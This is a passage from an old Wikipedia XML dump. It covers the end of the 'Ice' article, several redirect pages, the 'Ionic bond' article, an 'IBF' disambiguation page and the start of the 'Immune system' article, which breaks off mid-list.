Everyday ice and [[snow]] is [[Hexagonal (crystal system)|hexagonal]] ice ([[ice Ih|ice I&lt;sub&gt;h&lt;/sub&gt;]]).  Subjected to higher pressures and varying temperatures, ice can form in roughly a dozen different phases. Only a little less stable (metastable) than I&lt;sub&gt;h&lt;/sub&gt; is cubic structure ice ([[Ice Ic|I&lt;sub&gt;c&lt;/sub&gt;]]). But cooling I&lt;sub&gt;h&lt;/sub&gt; causes a different arrangement to form in which the protons move, [[Ice XI|XI]].

With both cooling and pressure more types exist, each being created depending on the phase diagram of ice. These are [[Ice II|II]], [[Ice III|III]], [[Ice V|V]], [[Ice VI|VI]], [[Ice VII|VII]], [[Ice VIII|VIII]], [[Ice IX|IX]], and [[Ice X|X]]. With care all these types can be recovered at ambient pressure. The types are differentiated by their crystalline structure, ordering and density. There are also two metastable phases of ice under pressure, both fully hydrogen disordered, these are [[Ice IV|IV]] and [[Ice XII|XII]]. Ice XII was discovered in 1996. As well as crystalline forms solid water can exist in amorphous states as [[amorphous solid water]] (ASW), [[low density amorphous ice]] (LDA), [[high density amorphous ice]] (HDA), [[very high density amorphous ice]] (VHDA) and [[hyperquenched glassy water]] (HGW).

[[Kurt Vonnegut]]'s novel ''[[Cat's Cradle]]'' features Ice IX as a central element of the plot, although real Ice IX does not have the properties of Vonnegut's fictional [[ice-nine]] (i.e. the ability to freeze all water on Earth with the introduction of one granule).

[[Rime Ice|Rime]] is a type of ice formed by [[fog]] freezing on cold objects.  It contains a high proportion of trapped air, making it appear white rather than transparent, and giving it a [[density]] about one quarter of that of pure ice.

Ice can also form '''icicles''', similar to [[stalactite]]s in appearance, as water drips and re-freezes.

[[Clathrate hydrate]]s are forms of ice that contain gas molecules trapped within its crystal lattice. [[Pancake ice]] is a formation of ice generally created in areas with less calm conditions.

Some other substances (particularly solid forms of those usually found as fluids) are also called &quot;ice&quot;: [[dry ice]], for instance, is a popular term for solid [[carbon dioxide]].

[[Image:Ice Harvesting on Lake St Clair Michigan circa 1905--photograph courtesy Detroit Publishing Company.jpg|left|frame|Harvesting ice on [[Lake Saint Clair (North America)|Lake Saint Clair]] in [[Michigan]], ''circa'' 1905.]]

== Human relationship with ice ==
[[Image:Yakhchal.jpg|thumb|right|An ancient ice house ([[yakhchal]]) in [[Kerman]], [[Iran]], built during the [[Middle Ages]] for storing harvested ice.]] 
Ice has long been valued as a means of cooling.  Until recently, the [[Hungarian Parliament]] building used ice harvested in the winter from [[Lake Balaton]] as its primary source of energy for air conditioning.  [[Icehouse (building)|Icehouse]]s were used to store ice formed in the winter to make ice available year-round, and early [[refrigerator]]s were known as [[icebox]]es because they had a block of ice in them.  In many cities it was not unusual to have a regular ice delivery service during the summer.  The advent of artificial [[refrigeration]] technology has since made delivery of ice obsolete. 

In 400 BC [[Iran]], [[Persian Empire|Persian]] engineers had already mastered the technique of storing ice in the middle of summer in the desert. The ice was brought in during the winters from nearby mountains in bulk amounts, and stored in specially designed, naturally cooled ''refrigerators'', called [[yakhchal]] (meaning ''ice storage''). This was a large underground space (up to 5000 m&amp;sup3;) that had thick walls (at least two meters at the base) made out of a special mortar called ''sārooj'', composed of sand, clay, egg whites, lime, goat hair, and ash in specific proportions, and which was resistant to heat transfer. This mixture was thought to be completely water impenetrable. The space often had access to a [[Qanat]], and often contained a system of [[windcatcher]]s that could easily bring temperatures inside the space down to frigid levels in summer days. The ice was then used to chill treats for royalty during hot summer days.  

=== Sports on ice ===
[[Image:Ice surfing.jpg|thumb|Ice surfing on the [[Żnin]] Great Lake]]
Ice also plays a role in winter recreation, in sports such as [[ice skating]], [[ice hockey]], [[ice fishing]], [[ice climbing]], [[curling]] and sled racing on [[bobsled]] and [[luge]].  A sort of sailboat on blades gives rise to iceboating.

The human quest for excitement has even led to [[ice racing]],                                                         where drivers must speed on lake ice while also controlling the skid of their vehicle (similar in some ways to [[dirt track racing]]).  The sport has even been modified for [[ice rink]]s.

===Ice travel===
[[Image:IcebreakerNasa.jpg|left|thumb|Coast Guard [[icebreaker]]s near [[McMurdo Station]], February 2002.]]
Ice can also be an obstacle; for [[harbor]]s near the [[geographical pole|pole]]s, being ice-free is an important advantage, ideally all-year round. Examples are [[Murmansk]] (Russia), [[Petsamo]] (Russia, formerly Finland) and [[Vardø]]. Harbors that are not ice-free are opened up using [[icebreaker]]s.

Ice forming on [[road]]s is a dangerous winter hazard. [[Black ice]] is very difficult to see because it lacks the expected glossy surface.  Whenever there is [[freezing rain]] or snow that occurs at a temperature near the melting point, it is common for ice to build up on the [[window]]s of  vehicles.  Driving safely requires the removal of the ice build-up.  [[Ice scraper]]s are tools designed to break the ice free and clear the windows, though removing the ice can be a long, labor-intensive, and stressful process&amp;mdash;especially when a driver ends up running late for work as a result.

Far enough below the freezing point, a thin layer of ice crystals can form on the inside surface of windows.  This usually happens when a vehicle has been left alone after being driven for a while, but can happen while driving if the outside temperature is low enough.  Moisture from the driver's breath is the source of water for the crystals.  It is troublesome to remove this form of ice, so people often open their windows slightly when the vehicle is parked in order to let the moisture dissipate, and it is now common for cars to have rear-window [[defroster]]s to combat the problem.  A similar problem can happen in homes, which is why many colder regions require [[Insulated glazing|double-pane windows]] for insulation.
[[Image:Ice_water.jpg|thumb|A glass of iced water.]]
When the outdoor temperature stays below freezing for extended periods, very thick layers of ice can form on [[lake]]s and other bodies of water (although places with flowing water require much colder temperatures).  The ice can become thick enough to drive onto with [[automobile]]s and [[truck]]s.  Doing this safely requires a thickness of at least 30 centimeters (one foot).

=== Other uses of ice ===
[[Image:Icicles at Big White.jpg|220px|left|Icicles at [[Big White Ski Resort]], [[Canada]].]]
*The manufacture and use of [[ice cube]]s or [[crushed ice]] is common for drinks.
*[[Pagophagia]], a type of [[pica (disorder)|pica]] eating disorder, is the compulsive consumption of ice.
*Structures and [[ice sculpture]]s are built out of large chunks of ice.  The structures are mostly ornamental (as in the case with [[ice castle]]s) and not practical for long-term habitation.  [[Ice hotel]]s exist on a seasonal basis in a few cold areas. [[Igloo]]s are another example of a temporary structure, made primarily from snow.

== Ice at different pressures ==
Ice can be formed at higher temperatures in pressurized environments, and water will remain a liquid or gas until -30&amp;nbsp;°C at lower pressures. Ice formed at high pressure has a different crystal structure and density than ordinary ice.  Ice, water, and [[water vapor]] can coexist at the [[triple point]], which is 273.16&amp;nbsp;K at a pressure of 611.73&amp;nbsp;[[Pascal|Pa]].

=== Phases of ice ===
{|border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
! Phase
! Characteristics
|-
| [[Amorphous ice]]
| [[Amorphous]] ice is an ice lacking crystal structure. Amorphous ice exists in two forms: low-density (LDA), formed at atmospheric pressure, or below, and high density (HDA), forming at higher pressures. It forms by extremely quick cooling of liquid water.
|-
| [[Ice Ih]]
| Normal hexagonal crystalline ice. Virtually all ice in the biosphere is ice Ih, with the exception only of a small amount of ice Ic.
|-
| [[Ice Ic]]
| Metastable [[cubic crystal|cubic]] crystalline variant of ice. The oxygen atoms are arranged in a diamond structure. It is produced at temperatures between 130-150 [[kelvin|K]], and is stable for up to 200 K, when it transforms into ice Ih. It is occassionally present in the upper atmosphere.
|-
| [[Ice II]]
| A [[rhombohedral]] crystalline form with highly ordered structure. Formed from ice Ih by compressing it at temperature of 190-210 K. When heated it undergoes transformation to ice III.
|-
| [[Ice III]]
| A [[tetragonal]] crystalline ice, formed by cooling water down to 250 K at 300 MPa. Least dense of the high-pressure phases. More dense than water.
|-
| [[Ice IV]]
| Metastable rhombohedral phase. Does not easily form without a nucleating agent.
|-
| [[Ice V]]
| A [[monoclinic]] crystalline phase. Formed by cooling water to 253 K at 500 MPa. Most complicated structure of all the phases.
|-
| [[Ice VI]]
| A tetragonal crystalline phase. Formed by cooling water to 270 K at 1.1 GPa. Exhibits [[Debye relaxation]].
|-
| [[Ice VII]]
| A cubic phase. The hydrogen atoms position is disordered, the material shows Debye relaxation. The hydrogen bonds form two interpenetrating lattices.
|-
| [[Ice VIII]]
| A more ordered version of ice VII, where the hydrogen atoms assume fixed positions. Formed from ice VII by cooling it beyond 5 &amp;deg;C.
|-
| [[Ice IX]]
| A tetragonal metastable phase. Formed gradually from ice III by cooling it from -65 to -108 &amp;deg;C, stable below 140K and pressures between 200 and 400 MPa. It has density of 1.16 g/cm³, slightly higher than ordinary ice.
|-
| [[Ice X]]
| Proton-ordered symmetric ice. Forms at about 40-45 GPa. A transformation of ice VII to ice X at 70 GPa is predicted.
|-
| [[Ice XI]]
| An [[orthorhombic]] low-temperature equilibrium form of hexagonal ice. It is [[ferroelectric]].
|-
| [[Ice XII]]
| A tetragonal metastable dense crystalline phase. It is metastable in the phase space of ice V and ice VI. It can be prepared by heating high-density amorphous ice from 77K to about 183K at 810 MPa.
|}

== See also ==
[[Image:Icicles forming.jpg|thumb|250px|right|Icicles forming on a cabin's roof at [[Dinner Plain]] [[Australia]].]]

* [[Black ice]]
* [[De-icing]]
* [[Diamond dust]]
* [[Firn]]
* [[Frazil ice]]
* [[Iceberg]]
* [[Glacier]]
* [[Ice cream]]
* [[Polynya]]
* [[Pykrete]]
* [[Sea ice]]
* [[Amorphous solid water]]
* [[Europa (moon)|Europa]], an ice-covered moon

== Related terms ==
* A [[rusticle]] is a rust formation similar to an icicle.
* [[Isaz]] is the Proto-Germanic rune for &quot;ice&quot;.

== External links ==
{{commons|Ice}}
* [http://www.its.caltech.edu/~atomic/snowcrystals/ice/ice.htm The phase diagram of water, including the ice variants]
* [http://www.webmineral.com/data/Ice.shtml Webmineral listing for Ice]
* [http://www.mindat.org/min-2001.html MinDat.org listing and location data for Ice]
* [http://www-2.cs.cmu.edu/~dst/ATG/ice.html The physics of ice]
* [http://www.martin.chaplin.btinternet.co.uk/phase.html The phase diagrams of water with some high pressure diagrams]
* [http://www.livescience.com/forcesofnature/050630_melting_discovery.html A recent discovery about how ice melts]
* [http://www.phys.unsw.edu.au/~jw/unfreezable.html 'Unfreezable' water, 'bound water' and water of hydration]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Forms of water]]
[[Category:Water ice| ]]
[[Category:Glaciology]]
[[Category:Minerals]]

[[als:Eis]]
[[bg:Лед]]
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[[id:Es]]
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[[he:קרח]]
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[[nl:IJs]]
[[nds:Ies]]
[[ja:氷]]
[[no:Is]]
[[nn:Is]]
[[pl:Lód]]
[[pt:Gelo]]
[[simple:Ice]]
[[sk:Ľad]]
[[sl:Led]]
[[su:És]]
[[fi:Jää]]
[[sv:Is]]
[[zh:冰]]</text>
    </revision>
  </page>
  <page>
    <title>Instantaneous dipole attraction</title>
    <id>14947</id>
    <revision>
      <id>15912467</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Sodium</username>
        <id>41</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Intermolecular force]]</text>
    </revision>
  </page>
  <page>
    <title>Induced-dipole attraction</title>
    <id>14948</id>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Intermolecular force]]
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  <page>
    <title>Instantaneous-dipole induced-dipole attraction</title>
    <id>14950</id>
    <revision>
      <id>15912469</id>
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  <page>
    <title>Ionic bond</title>
    <id>14951</id>
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      <id>41605574</id>
      <timestamp>2006-02-28T13:25:24Z</timestamp>
      <contributor>
        <username>Ilmari Karonen</username>
        <id>398996</id>
      </contributor>
      <minor />
      <comment>/* Polarization effects */ surely this was a mistake?</comment>
      <text xml:space="preserve">[[Image:Ionic_bonding.png|thumb|right|200px|[[Electron configuration]]s of [[lithium]] and [[fluorine]]. Lithium has one electron in its outer shell, held rather loosely because the [[ionisation energy]] is low. Fluorine carries 7 electrons in its outer shell. When one electron moves from lithium to fluorine, each [[ion]] acquires the [[noble gas]] configuration. The bonding energy from the [[electrostatic attraction]] of the two oppositely-charged ions has a large enough negative value that the overall bonded state energy is lower than the unbonded state]]

'''Ionic bonds''' are a type of [[chemical bond]] based on [[electrostatic force]]s between two oppositely-charged [[ion]]s. Often ionic bonds form between [[metal]]s and [[non-metals]]. In ordinary [[table salt]], the bonds between the [[sodium]] and [[chlorine]] ions are ionic bonds. In ionic bond formation, a metal donates an electron, due to a low [[electronegativity]] to form a positive ion or [[cation]]. The non-metal atom has an [[electron configuration]] just short of a [[noble gas]] structure. They are [[electronegative]], and so readily gain electrons to form negative ions or [[anion]]s. The two or more ions are then attracted to each other by [[electrostatic force]]s. Such bonds are stronger than [[hydrogen bond]]s, but similar in strength to [[covalent bond]]s. 

: &lt;math&gt;Li + F\ \ \ \to\ \ \ Li^+F^-\,\!&lt;/math&gt;
: &lt;math&gt;3Na + P\ \ \ \to\ \ \ Na^+_3P^{3-}&lt;/math&gt;

Ionic bonding occurs only if the overall energy change for the reaction is favourable when the bonded atoms have a lower energy than the free ones. The larger the resulting energy change the stronger the bond.

''Pure'' ionic bonding is not known to exist. All ionic bonds have a degree of [[covalent bond]]ing or [[metallic bond]]ing. The larger the difference in [[electronegativity]] between two atoms the more ionic the bond. Ionic compounds conduct [[electricity]] when molten or in solution. They generally have a high [[melting point]] and tend to be soluble in water.

[[Image:ionicbond.JPG|thumb|right|200px|Impression of two ions, for example Na&lt;sup&gt;+&lt;/sup&gt; and Cl&lt;sup&gt;-&lt;/sup&gt; forming an ionic bond. The [[electron orbital]]s generally do not overlap (i.e., [[molecular orbital]]s are not formed), because each of the ions reached the lowest [[energy state]] and the bond is based only (ideally) on the electrostatic interactions between positive and negative ions.]]

==Polarization effects==
[[Ion]]s in [[crystal lattice]]s of purely ionic compounds are [[sphere|spherical]], but, if the positive ion is small and/or highly charged, it will distort the electron cloud of the negative ion. This [[Polarization (electrostatics)|polarization]] of the negative ion leads to a build-up of extra charge density between the two [[atomic nucleus|nuclei]], i.e., to partial covalency. Larger negative ions are more easily polarized, but the effect is usually only important when positive ions with [[electrical charge|charges]] of 3+ (e.g., Al&lt;sup&gt;3+&lt;/sup&gt;) are involved (e.g., pure AlCl&lt;sub&gt;3&lt;/sub&gt; is a covalent molecule). However, 2+ ions (Be&lt;sup&gt;2+&lt;/sup&gt;) or even 1+ (Li&lt;sup&gt;+&lt;/sup&gt;) show some polarizing power because their sizes are so small (e.g., LiI is ionic but has some covalent character). The '''Polarizing Power''' depends on the ratio of charge and size of the ion, often called the '''charge density'''.

==Ionic Structure==
[[Ionic compound]]s in the solid state form a continuous ionic lattice structure in an [[ionic crystal]]. When all the ions are approximately the same size, they can form a structure that is [[Cubic (crystal system)|face-centered cubic]], but, when the ions are different sizes, the structure is often [[Close-packing|body-centered cubic]]. In ionic lattices the [[coordination number]] refers to the number of ions that each is connected, too.

==Ionic versus covalent bonds==
'''In an ionic bond,''' the atoms are bound by attraction of opposite ions, whereas, in a [[covalent bond]], atoms are bound by sharing electrons.  In covalent bonding, the [[molecular geometry]] around each atom is determined by [[VSEPR]] rules, whereas, in ionic materials, the geometry follows maximum [[close-packing|packing]] rules. '''Thus''', a compound can be classified as ionic or covalent based on the '''geometry of the atoms'''.

== External links ==
* [http://www.chem.ufl.edu/~chm2040/Notes/Chapter_11/types.html ionic bonding tutorial I]
* [http://dbhs.wvusd.k12.ca.us/webdocs/Bonding/Ionic-Bond.html ionic bonding tutorial II]
* [http://neon.chem.uidaho.edu/~honors/electneg.html ionic bonding tutorial III]

[[Category:Chemical bonding]]

[[bg:Йонна химична връзка]]
[[de:Ionische Bindung]]
&lt;!--[[en:Ionic bond]]--&gt;
[[et:Iooniline side]]
[[es:Enlace iónico]]
[[fr:Liaison ionique]]
[[it:Legame ionico]]
[[he:קשר יוני]]
[[nl:Ionaire binding]]
[[ja:イオン結合]]
[[nn:Ionebinding]]
[[pt:Ligação iônica]]
[[sl:Ionska vez]]
[[fi:Ionisidos]]
[[sv:Jonbindning]]
[[th:พันธะไอออน]]
[[zh:离子键]]</text>
    </revision>
  </page>
  <page>
    <title>IBF</title>
    <id>14952</id>
    <revision>
      <id>38247507</id>
      <timestamp>2006-02-05T02:48:48Z</timestamp>
      <contributor>
        <username>Korg</username>
        <id>263660</id>
      </contributor>
      <minor />
      <comment>interwikis</comment>
      <text xml:space="preserve">*[[International Boxing Federation]] ('''IBF''') is one of several [[boxing]] organisations. The IBF's first world champion was cruiserweight [[Marvin Camel]].
*[[International Basketball Federation]] (FIBA) governs [[basketball]] worldwide.
*[[International Badminton Federation]] (IBF) governs [[badminton]] worldwide.

{{TLAdisambig}}

[[de:IBF]]
[[sv:IBF]]</text>
    </revision>
  </page>
  <page>
    <title>IOC/Presidents</title>
    <id>14953</id>
    <revision>
      <id>15912472</id>
      <timestamp>2004-03-05T02:31:01Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; International Olympic Committee</comment>
      <text xml:space="preserve">#REDIRECT [[International Olympic Committee]]</text>
    </revision>
  </page>
  <page>
    <title>Individual Films</title>
    <id>14956</id>
    <revision>
      <id>23232184</id>
      <timestamp>2005-09-14T18:21:12Z</timestamp>
      <contributor>
        <username>Hurricane111</username>
        <id>99272</id>
      </contributor>
      <comment>Fixed double redirect; [[Wikipedia:Computer help desk/cleanup/double redirects/20050713|You can help!]].</comment>
      <text xml:space="preserve">#REDIRECT [[Lists of films]]</text>
    </revision>
  </page>
  <page>
    <title>Immune system</title>
    <id>14958</id>
    <revision>
      <id>41956561</id>
      <timestamp>2006-03-02T21:45:31Z</timestamp>
      <contributor>
        <username>Michelus</username>
        <id>918490</id>
      </contributor>
      <minor />
      <comment>/* Other factors that affect immune response */</comment>
      <text xml:space="preserve">The '''immune system''' is the [[organ system|system]] of specialized [[cell (biology)|cell]]s and [[organ (anatomy)|organs]] that protect an [[organism]] from outside [[biology|biological]] influences. (Though in a broad sense, almost every organ has a protective function - for example, the tight seal of the [[skin]] or the acidic environment of the [[stomach]].) When the immune system is functioning properly, it protects the body against [[bacteria]] and [[virus|viral]] [[infection]]s, destroying [[cancer cell]]s and foreign substances. If the immune system weakens, its ability to defend the body also weakens, allowing [[pathogen]]s, including viruses that cause [[common cold]]s and [[flu]], to grow and flourish in the body. The immune system also performs surveillance of tumor cells, and immune suppression has been reported to increase the risk of certain types of [[cancer]].

The immune system is often divided into two sections:
* '''Innate immunity:''' Comprised of [[Heredity|hereditary]] components that provide an immediate &quot;first-line&quot; of defense to continuously ward off pathogens.
* '''Adaptive (acquired) immunity:''' By manufacturing antibodies (a type of protein) and T-cells specifically designed to target particular pathogens, the body can develop a specific immunity to particular pathogens.  This response takes days to develop, and so is not effective at preventing an initial invasion, but it will normally prevent any subsequent infection, and also aids in clearing up longer-lasting infections.

==Structure==
Most multicellular organisms possess an &quot;innate immune system&quot;, generally comprising a set of germ-line encoded receptors to pathogens, that does not change during the lifetime of the organism. ''Adaptive immunity'', in which the responses to pathogens change and develop during the lifetime of an individual, seems to have appeared somewhat abruptly in [[evolutionary timeline|evolutionary time]], with the appearance of [[chondrichthyes]] (cartilaginous or jawed fish).

Organisms that possess an adaptive immunity also possess an innate immunity, and with many of the mechanisms between the systems being common, it is not always possible to draw a hard and fast boundary between the individual components involved in each, despite the clear difference in operation.  Higher [[vertebrate]]s and all [[mammal]]s have both an innate and an adaptive immune system.

===Innate immune system===
The adaptive immune system may take days or weeks after an initial infection to have an effect. However, most organisms are under constant assault from pathogens that must be kept in check by the faster-acting innate immune system. Innate immunity defends against pathogens by rapid responses coordinated through &quot;innate&quot; receptors that recognize a wide spectrum of conserved pathogenic components. [[Plant]]s and many lower animals do not possess an adaptive immune system, and rely instead on their innate immunity.

The study of the innate immune system has recently flourished. Earlier studies of innate immunity utilized [[model organism|model organisms]] that lack adaptive immunity, such as the plant ''[[Arabidopsis thaliana]]'', the fly ''[[Drosophila melanogaster]]'', and the worm ''[[Caenorhabditis elegans]]''.  Recent advances have been made in the field of innate immunology with the discovery of [[toll-like receptor]]s (TLRs) and the intracellular nucleotide-binding site leucine-rich repeat proteins (NODs), which are receptors in mammal cells that are responsible for a large proportion of the innate immune recognition of pathogens.  

In 1989, prior to the discovery of mammalian TLRs, [[Charles Janeway]] conceptualized and proposed that evolutionarily conserved features of infectious organisms were detected by the immune system through a set of specialized receptors, which he termed pathogen-associated molecular patterns (PAMPs) and pattern recognition receptors (PRRs), respectively. This was a remarkable insight at the time but was only fully appreciated after the discovery of TLRs by the Janeway lab in 1997. The TLRs now comprise the largest family of innate immune receptors (or PRRs). Janeway’s hypothesis has come to be known as the ‘stranger model’ and substantial debate in the field persists to this day as to whether or not the concept of PAMPs and PRRs, as described by Janeway, is truly suitable to describe the mechanisms of innate immunity. The competing ‘danger model’ was proposed in 1994 by [[Polly Matzinger]] and argues against the focus of the stranger model on microbial derived signals, suggesting instead that endogenous danger/alarm signals from distressed tissues serve as the principle purveyors of innate immune responses. 

Both models are supported in the current literature, with discoveries that substances of both microbial and non-microbial sources are able to stimulate innate immune responses, which has led to increasing awareness that perhaps a blend of the two models would best serve to describe the currently known mechanisms governing innate immunity. 

The innate immune system, when activated, has a wide array of effector cells and mechanisms.  There are several different types of phagocytic cells, which ingest and destroy invading pathogens.  The most common [[phagocytes]] are [[neutrophils]], [[macrophages]], and [[dendritic cells]].  Another cell type, [[natural killer cells]] are especially adept at destroying cells infected with viruses.  Another component of the innate immune system is known as the [[complement system]].  Complement proteins are normally inactive components of the blood.  However, when activated by the recognition of a pathogen or antibody, the various proteins are activated to recruit inflammatory cells, coat pathogens to make them more easily phagocytosed, and to make destructive pores in the surfaces of pathogens.

====First-line defense: physical and chemical barrier====
The first-line defense includes barriers to infection, such as [[skin]] and [[mucus]] coating of the [[gut]] and [[airways]], physically preventing the interaction between the host and the pathogen. Pathogens, which penetrate these barriers, encounter constitutively-expressed anti-microbial molecules (eg. [[lysozyme]]) that restrict the infection.

In addition to the usual defense, the stomach secretes [[gastric acid]] which, apart from aiding digestive enzymes in the stomach to work on food, prevents bacterial colonization by most pathogens.

====Second-line defense: Phagocytic cells====
The second-line defense includes [[Phagocyte|phagocytic cells]] ([[macrophage]]s and [[neutrophil granulocyte]]s) that can engulf ([[phagocytosis|phagocytose]]) foreign substances. Macrophages are thought to mature continuously from circulating [[monocyte]]s.

Phagocytosis involves [[chemotaxis]], where phagocytic cells are attracted to microorganisms by means of chemotactic chemicals such as microbial products, complement, damaged cells and [[white blood cell]] fragments. Chemotaxis is followed by [[cell adhesion|adhesion]], where the phagocyte sticks to the microorganism. Adhesion is enhanced by [[opsonization]], where proteins like [[opsonin]]s are coated on the surface of the bacterium. This is followed by ingestion, in which the phagocyte extends projections, forming [[pseudopod]]s that engulf the foreign organism. Finally, the bacterium is digested by the enzymes in the [[lysosome]], involving [[reactive oxygen species]] and [[protease]]s.

====Anti-microbial proteins====
In addition, anti-microbial proteins may be activated if a pathogen passes through the barrier offered by skin. There are several classes of antimicrobial proteins, such as [[acute phase protein]]s ([[C-reactive protein]], for example, enhances phagocytosis and activates complement when it binds itself to the [[C-protein]] of ''[[Streptococcus_pneumoniae|S. pneumoniae]]'' ), [[lysozyme]], and the [[complement system]].

The [[complement system]] is a very complex group of [[serum protein]]s, which is activated in a [[cascade]] fashion. Three different pathways are involved in complement activation:
* [[classical complement pathway|classical]] pathway: recognizes antigen-antibody complexes
* [[alternative complement pathway|alternative]] pathway: spontaneously activates on contact with pathogenic cell surfaces
* [[mannose-binding lectin pathway|mannose-binding lectin]] pathway: recognizes [[mannose]] sugars, which tend to appear only on pathogenic cell surfaces. 
A cascade of protein activity follows complement activation; this cascade can result in a variety of effects, including [[opsonization]] of the pathogen, destruction of the pathogen by the formation and activation of the [[membrane attack complex]], and [[inflammation]].

Interferons are also anti-microbial proteins. These molecules are proteins that are secreted by virus-infected cells. These proteins then diffuse rapidly to neighboring cells, inducing the cells to inhibit the spread of the viral infection. Essentially, these anti-microbial proteins act to prevent the cell-to-cell proliferation of viruses.

===Adaptive immune system===
The adaptive immune system, also called the &quot;acquired immune system&quot;, ensures that most mammals that survive an initial infection by a pathogen are generally immune to further illness, caused by that same pathogen. The adaptive immune system is based on dedicated immune cells termed [[leukocyte]]s (white blood cells) that are produced by [[stem cell]]s in the [[bone marrow]], and mature in the [[thymus]] and/or [[lymph node]]s. In many species, including [[mammals]], the adaptive immune system can be divided into two major sections:
* [[humoral immunity|Humoral immune system]]: It acts against bacteria and viruses in the body liquids (eg. [[blood]]) by means of proteins, called [[immunoglobulin]]s (also known as [[antibody|antibodies]]), which are produced by [[B cell]]s.
* [[cell-mediated immunity|Cellular immune system]]: It destroys virus-infected cells (among other duties) with [[T cell]]s (also called &quot;T lymphocytes&quot;; &quot;T&quot; means they develop in the [[thymus]]). There are two major types of T cells:
** [[Cytotoxic T cell]]s (T&lt;sub&gt;&lt;small&gt;C&lt;/small&gt;&lt;/sub&gt; cells): These cells recognize infected cells by using [[T cell receptor]]s to probe cell surfaces. If they recognize an infected cell, they release [[granzyme]]s to trigger that cell to become [[apoptosis|apoptotic]] (&quot;commit suicide&quot;), thus killing that cell and any viruses that it is in the process of creating.
** [[Helper T cell]]s (T&lt;sub&gt;&lt;small&gt;H&lt;/small&gt;&lt;/sub&gt; cells): These cells activate [[macrophage]]s (cells that ingest dangerous material), and also produce [[cytokine]]s ([[interleukin]]s) that induce the [[Cell growth|proliferation]] of B and T cells.
In addition, there are [[Regulatory T cell|regulatory T cell]]s (T&lt;sub&gt;&lt;small&gt;reg&lt;/small&gt;&lt;/sub&gt; cells) which are important in regulating cell-mediated immunity.

===Intersections between systems===
Splitting the innate and adaptive immunity has served to simplify discussions of immunology. However, the systems are quite intertwined in a number of important respects. 

One of the most important examples are the mechanisms of 'antigen presentation'. After they leave the thymus, T cells require activation to proliferate and differentiate into cytotoxic (&quot;killer&quot;) T cells (CTLs). Activation is provided by [[antigen-presenting cell]]s (APCs), a major category of which are the [[dendritic cells]]. These cells are part of the innate immune system. 

Activation occurs when a dendritic cell simultaneously binds itself to a T &quot;helper&quot; cell's antigen receptor ''and'' to its CD28 receptor, which provides the &quot;second signal&quot; needed for DC activation. This signal is a means by which the dendritic cell conveys that the antigen is indeed dangerous, and that the next encountered T &quot;killer&quot; cells need to be activated. This mechanism is based on antigen-danger evaluation by the T cells that belong to the adaptive immune system. But the [[dendritic cells]] are often directly activated by engaging their [[toll-like receptor]]s, getting their &quot;second signal&quot; directly from the antigen. In this way, they actually recognize in &quot;first person&quot; the danger, and direct the T killer attack. In this respect, the innate immune system therefore plays a critical role in the activation of the adaptive immune system.

[[Adjuvant]]s, or chemicals that stimulate an immune response, provide artificially this &quot;second signal&quot; in procedures when an antigen, that would not normally raise an immune response, is artificially introduced into a host. With the adjuvant, the response is much more robust. Historically, a commonly-used formula is [[Freund's Complete Adjuvant]], an emulsion of oil and [[mycobacterium]]. It was later discovered that toll-like receptors, expressed on innate immune cells, are critical in the activation of adaptive immunity.

==Disorders of the human immune system==
The most important function of the human immune system occurs at the cellular level of the blood and tissues. The [[lymphatic system|lymphatic]] and [[blood circulation]] systems are highways for specialized [[white blood cell]]s to travel around the body.  White blood cells include [[B cells]], [[T cells]], [[natural killer cells]], and [[macrophages]]. Each has a different responsibility, but all function together with the primary objective of recognizing, attacking and destroying [[bacteria]], [[viruses]], [[cancer cells]], and all substances seen as foreign. Without this coordinated effort, a person would not be able to survive more than a few days, before succumbing to overwhelming infection.

Infections set off an alarm that alerts the immune system to bring out its defensive weapons. Natural killer cells and macrophages rush to the scene to gobble up and digest infected cells. If the first line of defense fails to control the threat, [[antibodies]], produced by the B cells, upon the order of T helper cells, are custom-designed to hone in on the invader. 

Many disorders of the human immune system fall into two broad categories that are characterized by:

* Attenuated immune response: There are 'congenital' (inborn) and 'acquired' forms of [[immunodeficiency]], characterized by an attenuated response. [[Chronic granulomatous disease]], in which [[phagocytes]] have trouble destroying pathogens, is an example of the former, while [[AIDS]] (&quot;Acquired Immune Deficiency Syndrome&quot;), an [[infectious disease]] caused by the [[HIV]] virus that destroys CD4&lt;sup&gt;+&lt;/sup&gt; T cells, is an example of the latter. Immunosuppressive medication intentionally induces an immunodeficiency in order to prevent [[transplant rejection|rejection]] of [[organ transplantation|transplanted organs]].

* Overzealous immune response: On the other end of the scale, an overactive immune system figures in a number of other disorders, particularly [[autoimmune disorder]]s such as [[lupus erythematosus]], type I [[diabetes mellitus|diabetes]] (sometimes called &quot;juvenile onset diabetes&quot;), [[multiple sclerosis]], [[psoriasis]], and [[rheumatoid arthritis]]. In these, the immune system fails to properly distinguish between self and non-self, and attacks a part of the patient's own body. Other examples of overzealous immune responses in disease include [[hypersensitivity|hypersensitivities]], such as [[allergies]] and [[asthma]].

==Other factors that affect immune response==

{{sect-stub}}

Many factors can also contribute to the general weakening of the immune system:
* [[Malnutrition]] (unbalanced diet / poor eating habits that cause a lack of [[vitamin]]s and minerals)
* [[Alcohol abuse]]
* Drug use either Intravenous or other. (Appears related to associated factors ie. poor diet, use of infected/dirty needles, poor excersice, stress/depression)
* Medications (particularly the use of anti-cancer drugs, [[corticosteroid]]s, and [[antibiotic]]s);
* [[Ionizing radiation|Radiation]]
* Exposure to certain [[environment]]al [[toxin]]s, whether naturally occurring or from [[pollution]]. These include:
** [[Cigarette]] [[smoke]]
* Stress/Depression - Research shows that [[psychological stress]] can greatly increase your susceptibility to colds and other viral diseases, namely through an increase in serum corticosteroid levels
* Age - Ability of the immune system to respond is decreased at early and old age.
* Decrease ability to heal due to disease or medications (ie. [[Diabetes]], [[corticosteroid]]s, immune supressant drugs), causing constant exposure to infectious agents without natural dfense(intact skin)
* Inadequate sleep at the Delta brain wave level.  According to a sleep study, we need 4 hours of Delta sleep every night
* Lack of exercise as well as excessive exercise resulting in [[physiological stress]]
* Diseases either infectious or other causing more depression on the immune system like:
